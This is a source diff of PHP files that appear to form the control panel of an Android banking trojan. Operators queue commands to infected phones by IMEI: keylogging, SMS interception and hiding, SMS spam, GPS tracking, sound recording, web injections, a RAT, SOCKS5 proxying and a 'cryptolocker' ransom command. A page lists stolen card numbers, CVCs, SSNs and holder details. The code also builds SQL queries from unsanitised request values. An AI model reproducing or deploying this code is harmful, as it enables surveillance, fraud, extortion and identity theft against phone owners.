$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "startpermission"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "startpermission::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "getapps"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "getapps::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "getpermissions"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "getpermissions::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "getkeylogger"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "getkeylogger::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "killBot"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "killBot::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "numberGOsendSMS"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$ussd = $_REQUEST['text_sms_tel_book'];
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|telbookgotext=$ussd|endtextbook::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "startPermis"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "Go_startPermis_request::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "startGPSlocat"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "Go_GPSlocat_request::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "startinj"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$ussd = $_REQUEST['comboBox_inj'];
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|startinj=$ussd|endstartinj::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "rat"){
$imei = $_REQUEST['text_imei'];
$url = $_REQUEST['url'];
if($imei !="" ){
$command_ = "|startrat=$imei|endrat=$url|endurl::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
if($que == "startforward"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$forward = $_REQUEST['text_forward'];
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|startforward=$forward|endforward::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "stopforward"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "stopforward::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "openbrowser"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$url = $_REQUEST['text_openbrowser'];
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|openbrowser=$url|endbrowser::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "openactivity"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$url = $_REQUEST['text_openactivity'];
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|openactivity=$url|endactivity::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "startApp"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$app = $_REQUEST['text_start_app'];
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|startapplication=$app|endapp::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "cryptolocker"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$key = $_REQUEST['key'];
$amount = $_REQUEST['amount'];
$btc = $_REQUEST['btc'];
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|cryptokey=$key/:/$amount/:/$btc|endcrypt::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "decryptolocker"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$key = $_REQUEST['key'];
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|decryptokey=$key|enddecrypt::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "recordsound"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$seconds = $_REQUEST['seconds'];
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|recordsound=$seconds|endrecord::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "replaceURL"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$url = $_REQUEST['text_replace_url'];
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|replaceurl=$url|endurl::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "spamsms"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$text = $_REQUEST['spam'];
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|spam=$text|endspam::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "startsocks5"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$host = $_REQUEST['host'];
$user = $_REQUEST['user'];
$pass = $_REQUEST['pass'];
$port = $_REQUEST['port'];
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|sockshost=$host|user=$user|pass=$pass|port=$port|endssh::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "stopsocks5"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "stopsocks5::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
}
// $page = $_REQUEST['ref'];
// header ("Location: /?cont=bots&page=$page");
}
?>
+26
View File
@@ -0,0 +1,26 @@
<?php
session_start();
$statusCode=false;
if (!(isset($_SESSION['panel_user']))){
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
if (isset($_REQUEST['imei'])){
include '../../config.php';
$connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection3->exec('SET NAMES utf8');
$set_IMEI = $_REQUEST["imei"];
$comment = $_REQUEST["comment"];
$statement = $connection3->prepare("UPDATE kliets SET av='$comment' WHERE IMEI = '$set_IMEI';");
$statement->execute(array($set_IMEI,$comment));
}
}
?>
+33
View File
@@ -0,0 +1,33 @@
<?php
session_start();
$statusCode=false;
include "../../config.php";
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
$type=htmlspecialchars(isset($_GET["t"]) ? $_GET["t"] : "");
$file=htmlspecialchars(isset($_GET["f"]) ? $_GET["f"] : "");
if(($type=="nums")&&($file != "")){
$path = "../datalogs/numers/$file.html";
unlink("$path");
header ("Location:/".namefolder."/?cont=numbers");
}
if(($type=="files")&&($file != "")){
$path = "../datalogs/files/$file";
unlink("$path");
header ("Location:/".namefolder."/?cont=files");
}
}
?>
@@ -0,0 +1,104 @@
<?php
session_start();
$statusCode=false;
if (!(isset($_SESSION['panel_user']))){
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
//передаем данные для выпонения команд!!!-----
if((isset($_POST["SAVESETTINGS"]))&&($statusCode))
{
include '../../config.php';
$urls = isset($_POST['adminkaurl']) ? $_POST['adminkaurl'] : "";
$urlInj = isset($_POST['injurl']) ? $_POST['injurl'] : "";
$intInterval = isset($_POST['intInterval']) ? $_POST['intInterval'] : "";
$checksms = isset($_POST['checksms']) ? $_POST['checksms'] : "";
$checkhidesms = isset($_POST['checkhidesms']) ? $_POST['checkhidesms'] : "";
$checkgeolocation = isset($_POST['checkgeolocation']) ? $_POST['checkgeolocation'] : "";
$checkInjectionsApps = isset($_POST['checkInjectionsApps']) ? $_POST['checkInjectionsApps'] : "";
$secondInjectionsApps = isset($_POST['secondInjectionsApps']) ? $_POST['secondInjectionsApps'] : "";
$checkRequestGeolocation = isset($_POST['checkRequestGeolocation']) ? $_POST['checkRequestGeolocation'] : "";
$secondRequestGeolocation = isset($_POST['secondRequestGeolocation']) ? $_POST['secondRequestGeolocation'] : "";
$findfiles = isset($_POST['findfiles']) ? $_POST['findfiles'] : "";
$checkGrab_auto = $_POST['checkGrab_auto'];
$Grab_auto = "";
if($checkGrab_auto=="1")
{
if (preg_match("/check_set/",print_r($_POST,true)))
{
foreach($_POST["check_set"] as $ch)
{
$Grab_auto="$Grab_auto|$ch";
}
}
}
$secondGrab_auto = $_POST['secondGrab_auto'];
$checkInjGrab = $_POST['checkInjGrab'];
$InjGrab = "";
if($checkInjGrab=="1")
{
if (preg_match("/check2_set/",print_r($_POST,true)))
{
foreach($_POST["check2_set"] as $ch)
{
$InjGrab="$InjGrab|$ch";
}
}
}
$secondInjGrab = $_POST['secondInjGrab'];
$checkPhoneContacts = isset($_POST['checkPhoneContacts']) ? $_POST['checkPhoneContacts'] : "";
$secondPhoneContacts = isset($_POST['secondPhoneContacts']) ? $_POST['secondPhoneContacts'] : "";
$checkStartGeolocation = isset($_POST['checkStartGeolocation']) ? $_POST['checkStartGeolocation'] : "";
$secondStartGeolocation =isset($_POST['secondStartGeolocation']) ? $_POST['secondStartGeolocation'] : "";
//echo "$login|$password|$right";
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connect->exec('SET NAMES utf8');
$generateHash=generateHash(15);
$urls = $_POST['adminkaurl'];
$urlInj = $_POST['injurl'];
$sql = "UPDATE settingsall SET hash='$generateHash', intInterval='$intInterval', checksms='$checksms', checkhidesms='$checkhidesms', checkgeolocation='$checkgeolocation',
checkInjectionsApps='$checkInjectionsApps', secondInjectionsApps='$secondInjectionsApps',
checkRequestGeolocation='$checkRequestGeolocation',secondRequestGeolocation='$secondRequestGeolocation',
checkGrab_auto='$checkGrab_auto',Grab_auto='$Grab_auto',secondGrab_auto='$secondGrab_auto',checkInjGrab='$checkInjGrab',
InjGrab='$InjGrab',secondInjGrab='$secondInjGrab',checkPhoneContacts='$checkPhoneContacts',secondPhoneContacts='$secondPhoneContacts',
checkStartGeolocation='$checkStartGeolocation',secondStartGeolocation='$secondStartGeolocation',urls='$urls', urlInj='$urlInj', findfiles='$findfiles'
WHERE id='1';";
$connect->query($sql);
header("Location: /".namefolder."/index.php?cont=settings&page=bots-settings");
}
function generateHash($length){
$chars = 'abdefhiknrstyzABDEFGHKNQRSTYZ23456789';
$numChars = strlen($chars);
$string = '';
for ($i = 0; $i < $length; $i++) {
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string;
}
?>
+36
View File
@@ -0,0 +1,36 @@
<?php
session_start();
$statusCode=false;
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
//передаем данные для выпонения команд!!!-----
if((isset($_POST["EDITUSER"]))&&($statusCode))
{
include '../../config.php';
$id = $_POST['getID'];
$login = $_POST['login'];
$pass = $_POST['password'];
$password = md5("$login $pass $login");
$right = $_POST['RIGHT'];
$tag = $_POST['tag'];
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connect->exec('SET NAMES utf8');
$sql = "UPDATE t_users SET login='$login', password='$password', right_='$right',tag='$tag' WHERE id='$id';";
$connect->query($sql);
header("Location: /".namefolder."/index.php?cont=settings&page=users");
}
?>
+26
View File
@@ -0,0 +1,26 @@
<?php
session_start();
$statusCode=false;
if (!(isset($_SESSION['panel_user']))){
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
if (isset($_REQUEST['imei'])){
include '../../config.php';
$connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection3->exec('SET NAMES utf8');
$set_IMEI = $_REQUEST["imei"];
$statement = $connection3->prepare("UPDATE kliets SET log='0' WHERE IMEI = '$set_IMEI';");
$statement->execute(array($set_IMEI));
}
}
?>
+129
View File
@@ -0,0 +1,129 @@
<?php
session_start();
$statusCode=false;
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
include '../../config.php';
$inj = "";
$chkhideSMS = "";
$num = "";
$sig1 = "";
$sig2 = "";
$chkinterceptSMS = "";
$network="";
$gps="";
$color = "";
$foreground = "";
$keylogger="";
$check_record = "";
$text_seconds = "";
$lookscreen = "";
if(isset($_REQUEST["check_set"]))
{
$getInj = $_REQUEST["check_set"];
$arrayInj = explode("/", $getInj);
foreach($arrayInj as $ch)
{
$inj="$inj/$ch";
}
}
if (isset($_REQUEST['chknetwork']))
{
$network = $_REQUEST['chknetwork'];
}
if (isset($_REQUEST['chkgps']))
{
$gps = $_REQUEST['chkgps'];
}
if (isset($_REQUEST['chkinterceptSMS']))
{
$chkinterceptSMS = $_REQUEST['chkinterceptSMS']; //перехват смс
}
if (isset($_REQUEST['chkhideSMS']))
{
$chkhideSMS = $_REQUEST['chkhideSMS']; //Скрытие смс
}
if (isset($_REQUEST['foreground']))
{
$foreground = $_REQUEST['foreground'];
}
if (isset($_REQUEST['keylogger']))
{
$keylogger = $_REQUEST['keylogger'];
}
if (isset($_REQUEST['check_record']))
{
$check_record = $_REQUEST['check_record'];
}
if (isset($_REQUEST['text_seconds']))
{
$text_seconds = $_REQUEST['text_seconds'];
}
if (isset($_REQUEST['lookscreen']))
{
$lookscreen = $_REQUEST['lookscreen'];
}
$imeis_ = $_REQUEST['text_imei_set'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imeid)
{
$bool_imei="0";
$dd="";
if($imeid !="" )
{
$connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection3->exec('SET NAMES utf8');
$sql3 = "SELECT * FROM settings";
foreach($connection3->query($sql3) as $imei)
{
$imei_ = $imei['IMEI'];
$dd = "$imei_";
if($imei_ == $imeid)
{
$bool_imei="1";
$sql3 = "UPDATE settings SET lookscreen='$lookscreen', inject = '$inj', del_sms='$chkhideSMS', state='1', avtootvet_num='$num', avtootvet_sig1='$network', avtootvet_sig2='$gps', avtootvet_true='$chkinterceptSMS',checkforeground='$foreground',keylogger='$keylogger',checkrecord='$check_record',recordseconds='$text_seconds' WHERE IMEI='$imeid';";
$connection3->query($sql3);
break;
}
}
if($bool_imei=="0")
{
$add_db_set = $connection3->exec("insert into settings (IMEI, inject, del_sms, state, avtootvet_num, avtootvet_sig1, avtootvet_sig2, avtootvet_true,checkforeground,keylogger,checkrecord,recordseconds,lookscreen)value('$imeid','$inj','$chkhideSMS','1','$num','$network','$gps','$chkinterceptSMS','$foreground','$keylogger','$check_record','$text_seconds','$lookscreen')");
}
}
}
}
?>
@@ -0,0 +1,32 @@
<?php
class users_right{
function getPrivateTags()
{
$textThisTag="";
$privateTag="";
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql2 = "SELECT * FROM t_users";
foreach($connection->query($sql2) as $row)
{
$login = $row['login'];
$right = $row['right_'];
$tag = $row['tag'];
if($_SESSION['panel_user'] == $login)
{
$tag=str_replace(", ",",",$tag);
$tag=str_replace(", ",",",$tag);
$textThisTag="$textThisTag,$tag";
}else{
if($tag!="")$privateTag="$privateTag,$tag";
}
}
$privateTag=str_replace(", ",",",$privateTag);
$privateTag=str_replace(", ",",",$privateTag);
return "$textThisTag|$privateTag";
}
}
+203
View File
@@ -0,0 +1,203 @@
<?php
class functions{
function getBots(){
$CountBots = 0;
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT version_apk, country, lastConnect, firstConnect FROM kliets";
/****Ограничение по тегам****/
$userRights = new users_right;
$tags = explode("|", $userRights->getPrivateTags());
$thisTag = explode(",", $tags[0]);
$privateTag = explode(",", $tags[1]);
/****************************/
foreach($connection->query($sql) as $row){
$country = $row['country'];
$version_apk = $row['version_apk'];
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
{
$boolContinue=true;
if($tags[0]!=",")
{
foreach($thisTag as $tag)
{
if($version_apk == $tag)
{
if($tag!="")
{
$boolContinue=false;
break;
}
}
}
if($boolContinue)continue;
}
else
{
foreach($privateTag as $tag)
{
if($version_apk == $tag)
{
if($tag!="")
{
$boolContinue=false;
break;
}
}
}
if(!$boolContinue)continue;
}
}//---------------
$CountBots++;
}
return $CountBots;
}
function getCards(){
$CountCards = 0;
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT version_apk, country, lastConnect, firstConnect FROM cc";
/****Ограничение по тегам****/
$userRights = new users_right;
$tags = explode("|", $userRights->getPrivateTags());
$thisTag = explode(",", $tags[0]);
$privateTag = explode(",", $tags[1]);
/****************************/
$sql = "SELECT imei FROM cc";
foreach($connection->query($sql) as $row)
{
$imei = $row['imei'];
$connection2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection2->exec('SET NAMES utf8');
$sql2 = "SELECT IMEI, version_apk FROM kliets";
foreach($connection2->query($sql2) as $row2)
{
if($row2['IMEI'] == $imei)
{
$tag = $row2['version_apk'];
break;
}
}
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
{
$boolContinue=true;
if($tags[0]!=",")
{
foreach($thisTag as $tagZ)
{
if($tag == $tagZ)
{
if($tagZ!="")
{
$boolContinue=false;
break;
}
}
}
if($boolContinue)continue;
}
else
{
foreach($privateTag as $tagZ)
{
if($tag == $tagZ)
{
if($tagZ!="")
{
$boolContinue=false;
break;
}
}
}
if(!$boolContinue)continue;
}
}//---------------
$CountCards++;
}
return $CountCards;
}
function getInjections(){
$CountInj = 0;
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT version_apk, country, lastConnect, firstConnect FROM cc";
/****Ограничение по тегам****/
$userRights = new users_right;
$tags = explode("|", $userRights->getPrivateTags());
$thisTag = explode(",", $tags[0]);
$privateTag = explode(",", $tags[1]);
/****************************/
$sql = "SELECT idbot FROM injs";
foreach($connection->query($sql) as $row)
{
$imei = $row['idbot'];
$connection2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection2->exec('SET NAMES utf8');
$sql2 = "SELECT IMEI, version_apk FROM kliets";
foreach($connection2->query($sql2) as $row2)
{
if($row2['IMEI'] == $imei)
{
$tag = $row2['version_apk'];
break;
}
}
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
{
$boolContinue=true;
if($tags[0]!=",")
{
foreach($thisTag as $tagZ)
{
if($tag == $tagZ)
{
if($tagZ!="")
{
$boolContinue=false;
break;
}
}
}
if($boolContinue)continue;
}
else
{
foreach($privateTag as $tagZ)
{
if($tag == $tagZ)
{
if($tagZ!="")
{
$boolContinue=false;
break;
}
}
}
if(!$boolContinue)continue;
}
}//---------------
$CountInj++;
}
return $CountInj;
}
}
+3
View File
@@ -0,0 +1,3 @@
<?php
$obfuscator = "s9ZE\x41qkp\x2b\x634qGmWpRUUlxRp\x41TnJqSryJWWpxYpJG\x61kliTlpeZlU6\x62nE4q7g4t\x61ggNz85rxSdg0MNXFh\x42T10tv\x63T\x61Xl0jJ7EsFQ\x41\x3d";
?>
File diff suppressed because it is too large Load Diff
+6
View File
@@ -0,0 +1,6 @@
<?php
include ".\header.php";
?>
+671
View File
@@ -0,0 +1,671 @@
<?php
$statusCode=false;
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /login.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /login.php");
}
if (($_SESSION['panel_right']!="admin")&&($_SESSION['panel_right']!="user")){
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
?>
<div id="showAlert"></div>
<script>
function getTextFileLogs(imei){
$.ajax({
url: 'application/get/logBot.php?imei='+imei,
success: function(data) {
$('#textArea').append('<textarea id="logsTextArea" readonly name="mesage" wrap="virtual" class="textlog">'+data+'</textarea>');
}
});
refreshContentTable();
}
function getSettingsBot(imei){
$("#text_imei_set").val(imei);
$('#comboBox_imeis2').append($('<option>', {
value: '0',
text: imei
}));
// ------ Clear Form -------
var inputsClear = document.getElementsByTagName("input");
for (var i = 0; i < inputsClear.length; i++) {
if (inputsClear[i].type == "checkbox" && inputsClear[i].id == 'check_set') {
inputsClear[i].checked = false ;
}
}
document.getElementById("chkinterceptSMS").checked = false;
document.getElementById("chkhideSMS").checked = false;
document.getElementById("chknetwork").checked = false;
document.getElementById("chkgps").checked = false;
document.getElementById("check_foreground").checked = false;
document.getElementById("check_keylogger").checked = false;
document.getElementById("check_record").checked = false;
document.getElementById("id_seconds").value = '';
$.ajax({url: 'application/get/settingsBot.php?imei='+imei, success: function(data) {
var arrayData = data.split('|');
var seconds = arrayData[0];
var injections = arrayData[1].split('/');
var interceptSMS = arrayData[2];
var hideSMS = arrayData[3];
var network = arrayData[4];
var gps = arrayData[5];
var status = arrayData[6];
var foreground = arrayData[7];
var keylogger = arrayData[8];
var check_record = arrayData[9];
var text_seconds = arrayData[10];
if(status!=null){
if(status==1){
document.getElementById("AstatusSettings").style.color='red';
document.getElementById("statusSettings").innerHTML="Settings are not active, wait until the bot updates them..";
}else{
document.getElementById("AstatusSettings").style.color='#00FF00';
document.getElementById("statusSettings").innerHTML="Settings are active!";
}
}
if(seconds!=null){
document.getElementById("idSeconds").innerHTML=seconds;
}
var inputs = document.getElementsByTagName("input");
for(var j = 1; j < injections.length; j++){
for (var i = 0; i < inputs.length; i++) {
if (inputs[i].type == "checkbox" && inputs[i].id == 'check_set' && inputs[i].value == injections[j]) {
inputs[i].checked = true ;
}
}
}
if(interceptSMS==1){
document.getElementById("chkinterceptSMS").checked = true;
}
if(hideSMS==1){
document.getElementById("chkhideSMS").checked = true;
}
if(network==1){
document.getElementById("chknetwork").checked = true;
}
if(gps==1){
document.getElementById("chkgps").checked = true;
}
if(foreground==1){
document.getElementById("check_foreground").checked = true;
}
if(keylogger==1){
document.getElementById("check_keylogger").checked = true;
}
if(check_record==1){
document.getElementById("check_record").checked = true;
}
if(text_seconds!=null){
document.getElementById("id_seconds").value = text_seconds;
}
}});
}
function saveSetting(){
var getImeis = document.getElementById("text_imei_set").value;
var injections = '';
var inputs = document.getElementsByTagName("input");
for (var i = 0; i < inputs.length; i++) {
if (inputs[i].type == "checkbox" && inputs[i].id == 'check_set' && inputs[i].checked == true) {
injections = injections + '/' + inputs[i].value;
}
}
var chkinterceptSMS = 0;
if(document.getElementById("chkinterceptSMS").checked==true){
chkinterceptSMS = 1;
}
var chkhideSMS = 0;
if(document.getElementById("chkhideSMS").checked==true){
chkhideSMS = 1;
}
var chknetwork = 0;
if(document.getElementById("chknetwork").checked==true){
chknetwork = 1;
}
var chkgps = 0;
if(document.getElementById("chkgps").checked==true){
chkgps = 1;
}
var foreground = 0;
if(document.getElementById("check_foreground").checked==true){
foreground = 1;
}
var keylogger = 0;
if(document.getElementById("check_keylogger").checked==true){
keylogger = 1;
}
var check_record = 0;
if(document.getElementById("check_record").checked==true){
check_record = 1;
}
var text_seconds = document.getElementById("id_seconds").value;
$.ajax({ url: "application/set/settingsBots.php?text_imei_set="+ getImeis +"&check_set="+ injections +"&chknetwork="+chknetwork+"&chkgps="+chkgps+"&chkinterceptSMS="+chkinterceptSMS+"&chkhideSMS="+chkhideSMS+"&foreground="+foreground+"&keylogger="+keylogger+"&check_record="+check_record+"&text_seconds="+text_seconds,
cache: false});
startNatif('success','Successfully saved settings!');
}
</script>
<div class="content" style="padding-top:15px;">
<form name='findCC' method='post'>
<a style="margin-left: 35%;color: #EDB749;">
Credit cards:
</a>
<?php
$getFind = $_GET["find"];
if(isset($_POST["find"]))//Открываем форму логи!
{
$find=$_POST["textfind"];
header ("Location: /?cont=cards&find=$find");
}
echo "<input type='text' name='textfind' value='$getFind' id='styled-select' style='color: #EDB749; background: #1D1F24; width:15%;border: 1px solid black; border-color: rgba(255,255,255,.5); border-radius: 8px;'></input>";
?>
<input type='submit' value='FIND' name='find' style='margin-left:5px; width: 70px' class='btn btn-outline-secondary'/>
</form>
<table class="table table-hover table_dark" id="bootstrap-table">
<thead class="header_table_bots">
<th><a title="Android"><img src="images/icons/table/Android.png" width='25px'/></a></th>
<th><a title="Cards"><img src="images/icons/table/card.png" width='23px'/></a></th>
<!--<th>Bins</th> -->
<th>Comments</th>
<th><a title="Country"><img src="images/icons/table/icloud.png" width='25px'/></a></th>
</thead>
<?php
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT * FROM cc";
if(isset($_POST["click_log"]))//Открываем форму логи!
{
$log_IMEI = $_POST["click_log"];
echo "<script>";
echo "$(document).ready(function(){";
echo "$('#log_modal').css({'display':'block'});";
echo "});";
echo "</script>";
}
if(isset($_POST["click_set"]))//Открываем форму настроек!
{
$set_IMEI = $_POST["click_set"];
echo "<script>";
echo "$(document).ready(function(){";
echo "$('#set_modal').css({'display':'block'});";
echo "});";
echo "</script>";
}
if (preg_match("/kom_save/",print_r($_POST,true)))
{
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$str = print_r($_POST,true);
$str = str_replace("[kom_save","!!!",$str);
$str = str_replace("]","@@@",$str);
$massiv = explode("!!!", $str);
$massiv = explode("@@@", $massiv[1]);
$str = $massiv[0];
$comments = $_POST["komment$str"];
$statement = $connection->prepare("UPDATE cc SET comments = '$comments' WHERE numbercard = '$str'");
$statement->execute([$comments]);
$statement->execute([$str]);
}
if (preg_match("/delete/",print_r($_POST,true)))
{
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$str = print_r($_POST,true);
$str = str_replace("[delete","!!!",$str);
$str = str_replace("]","@@@",$str);
$massiv = explode("!!!", $str);
$massiv = explode("@@@", $massiv[1]);
$str = $massiv[0];
$statement = $connection->prepare("DELETE FROM cc WHERE numbercard='$str'");
$statement->execute([$str]);
}
/****Ограничение по тегам****/
$userRights = new users_right;
$tags = explode("|", $userRights->getPrivateTags());
$thisTag = explode(",", $tags[0]);
$privateTag = explode(",", $tags[1]);
/****************************/
$sql = "SELECT * FROM cc";
echo "<form name='formcards' method='post'>";
foreach($connection->query($sql) as $row)
{
$imei = $row['imei'];
$country = $row['country'];
$numbercard = $row['numbercard'];
$numbercard2 = $row['numbercard'];
$monthyear = $row['monthyear'];
$cvc = $row['cvc'];
$nameholder= $row['nameholder'];
$databirth = $row['databirth'];
$postalcode = $row['postalcode'];
$addressholder = $row['addressholder'];
$phonenumber = $row['phonenumber'];
$ssn = $row['ssn'];
$accountnumber = $row['accountnumber'];
$vbv = $row['vbv'];
$SortCode = $row['SortCode'];
$timeaddcc = $row['timeaddcc'];
$comments = $row['comments'];
/*$bin = $row['bin'];
$BIN1_1 = "not";
$BIN1 = "";
$BIN2 = "";
$BIN3 = "";
$BIN4 = "";
$BIN5 = "";
if($bin != "")
{
